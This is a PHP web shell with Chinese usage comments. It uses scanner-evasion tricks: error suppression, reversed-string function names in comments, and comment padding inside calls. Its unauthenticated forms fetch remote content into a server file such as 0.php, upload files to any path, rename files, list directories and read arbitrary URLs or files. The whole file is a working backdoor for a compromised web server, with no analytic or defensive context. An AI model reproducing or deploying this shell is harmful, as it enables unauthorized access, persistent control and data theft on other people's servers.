<?php 
error_reporting(0);
//$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";
$sr = "strrev";
//$id=$sr/*+/*+*/("ri"."d_"."si");
$id = "is_dir";
//$rn=$sr/*+/*+*/("em"."an"."er");
$rn = "rename";
//$dn=$sr/*+/*+*/("em"."anr"."id");
$dn = "dirname";
//$od=$sr/*+/*+*/("ri"."dne"."po");
$od = "opendir";
//$rd=$sr/*+/*+*/("ri"."dda"."er");
$rd = "readdir";
//$cd=$sr/*+/*+*/("ri"."deso"."lc");
$cd = "closedir";
//$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");
$fpc = "file_put_contents";
//$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");
$fgc = "file_get_contents";
//$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");
$muf = "move_uploaded_file";

$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';
$ulform='<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';
$rnform='<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';
$lpform='<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';
$sfform='<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';

//echo $muf;

//FN中输入一个文件名（如：0.php），URL中输入一个地址（如：http://q22v0xmqn.bkt.clouddn.com/0.txt），提交后地址展示的内容写入到0.php中了
if($_GET['act']=='dl'){
	echo($dlform);
	if($_SERVER['REQUEST_METHOD']=='POST'){
		$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
	}
	exit;
}

//文件上传：选择一个文件，SP里输入路径（空着就上传到当前目录）
if($_GET['act']=='ul'){
	echo($ulform);
	if($_SERVER['REQUEST_METHOD']=='POST'){
		$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';
		$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
	}
	exit;
}

//重命名一个文件或目录：ON里输入oldname，NN里输入newname
if($_GET['act']=='rn'){
	echo($rnform);
	if($_SERVER['REQUEST_METHOD']=='POST'){
		$rn/*+/*+*/($_POST['on'],$_POST['nn']);
	}
	exit;
}

//返回路径中的目录部分：查看本程序在哪个目录里
if($_GET['act']=='gp'){
	echo($dn/*+/*+*/(__FILE__));
	exit;
}

//输出指定目录里的目录结构和文件：在DP里输入dirpath，返回dirpath里的目录和文件名
if($_GET['act']=='lp'){
	echo($lpform);
	if($_SERVER['REQUEST_METHOD']=='POST'){
		$dp=$_POST['dp'].'/';
		$h=$od/*+/*+*/($dp);
		while(($fn=$rd/*+/*+*/($h))!==false){
			if($id/*+/*+*/($dp.$fn)){
				$t1.='D&nbsp;'.$fn.'<br>';
			}else{
				$t2.='&nbsp;&nbsp;'.$fn.'<br>';
			}
		}
		$cd/*+/*+*/($dp);
		echo($dp.'<br>'.$t1.$t2);
	}
	exit;
}

//在DF里输入一个连接地址（如：http://q22v0xmqn.bkt.clouddn.com/0.txt），将该地址的内容读到一个字符串，并显示在下面的textarea里面
if($_GET['act']=='sf'){
	echo($sfform);
	if($_SERVER['REQUEST_METHOD']=='POST'){
		$df=$_POST['df'];
		echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
	}
	exit;
}

?>